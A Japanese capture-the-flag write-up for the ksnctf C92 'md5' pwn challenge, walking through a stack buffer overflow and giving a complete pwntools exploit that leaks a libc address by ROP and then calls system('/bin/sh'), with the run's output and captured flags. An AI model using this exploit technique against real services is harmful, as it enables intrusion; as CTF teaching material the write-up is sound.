ksnctf C92 md5 writeup
はじめに
ksnctf C92のwriteup公開が解禁されたようなので、唯一のpwn問題だったmd5のwriteupをあげる。 ksnctf C92の各問題は下記リンクより参照できる。
初期調査
chceksecの結果を以下に載せる。SSPがないため、stackでのBOFが狙えそうである。また、Full RELROでないため、GOTの書き換えも有効である。 libcが公開されているため、address leakからのret2libcも狙える。
[*] '/home/hama/ctf/ksnctf/md5/md5' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE
機能
ローカルで動かす際にはflag.txt
が必要となる。
はじめにデータの長さを入力し、次に指定した長さ分のデータを入力できる。
入力データに対してmd5を求めて出力している。
exit
を入力すると処理を終了する。
% ./md5 Wait... Input data length: 10 Input data: aaaabbbbcc MD5(your data): 11a7cd2ff48c01afcc65cca69ed0f886 MD5(flag): d0ac268c6f2253bda954982ef99c1295 Input data length: 4 Input data: exit MD5(your data): f24f62eeb789199b9b2e467df3b1876b
方針
入力できるデータの長さを指定できるが、長さに制限はない。そのため用意されているバッファよりも大きい値を指定すればBOFが起きる。
main関数の戻りアドレスをBOFで上書きし、ROPでputs(libc_start_main_got)
を実行する。得られた値からlibcがマッピングされているlibc_base
が求まる。
ここまででは、address leakができただけなので、再度の攻撃を行えるように再びmain関数を実行させるようにする。
2度目の攻撃では求めたlibc_base
を用いて、__libc_system
とlibc内に存在する'/bin/sh'
を用いてret2libcを行った。
exploit
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') #context.log_level = 'debug' # output verbose log RHOST = "ksnctfc92.u1tramarine.blue" RPORT = 55555 LHOST = "127.0.0.1" LPORT = 55555 elf = ELF('./md5') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': libc = ELF('./libc.so.6') conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') execute = """ # set environment LD_PRELOAD=./libc.so.6 b *{0} c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./md5'], execute=execute) else: libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') conn = process(['./md5']) # conn = process(['./md5'], env={'LD_PRELOAD': './libc.so.6'}) def calc_MD5(length, payload): conn.sendlineafter('Input data length:', str(length)) conn.sendlineafter('Input data:', payload) # preparing for exploitation libc_start_main_got = elf.got['__libc_start_main'] puts_addr = elf.symbols['puts'] main_addr = elf.symbols['main'] # 0x00400f13: pop rdi ; ret ; (1 found) pop_rdi = 0x00400f13 log.info('Pwning') payload = 'A' * (0x30+0x20) + p64(0x602098) + "A" * 0x20 rop = p64(pop_rdi) rop += p64(libc_start_main_got) rop += p64(puts_addr) rop += p64(main_addr) payload += rop calc_MD5(len(payload), payload) calc_MD5(4, 'exit') # leak libc_base conn.recvuntil('f24f62eeb789199b9b2e467df3b1876b\n') libc_base = u64(conn.recv(6).ljust(8, '\x00') ) - libc.symbols['__libc_start_main'] log.info('libc_base = {:#x}'.format(libc_base)) payload = 'A' * (0x30+0x20) + p64(0x602099) + "A" * 0x20 rop = p64(pop_rdi) rop += p64(libc_base + next(libc.search('/bin/sh'))) rop += p64(libc_base + libc.symbols['system']) # rop += p64(main_addr) payload += rop calc_MD5(len(payload), payload) calc_MD5(4, 'exit') conn.interactive()
% python exploit.py r [*] '/home/hama/ctf/ksnctf/md5/md5' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE [*] '/home/hama/ctf/ksnctf/md5/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to ksnctfc92.u1tramarine.blue on port 55555: Done [*] Pwning [*] libc_base = 0x7fc9e6de7000 [*] Switching to interactive mode MD5(your data): f24f62eeb789199b9b2e467df3b1876b $ ls flag.txt flag2.txt md5 md5.sh $ cat flag* FLAG{EukFcauPdlPYh0bK} FLAG{OpBW3mIwSllxumQZ}
おわりに
シェルを取ればフラグが2つ得られるお得な問題だった。 しかし、2つ目のフラグをsubmitするためには裏にいく必要があり、到達できなかったためフラグを腐らせてしまった。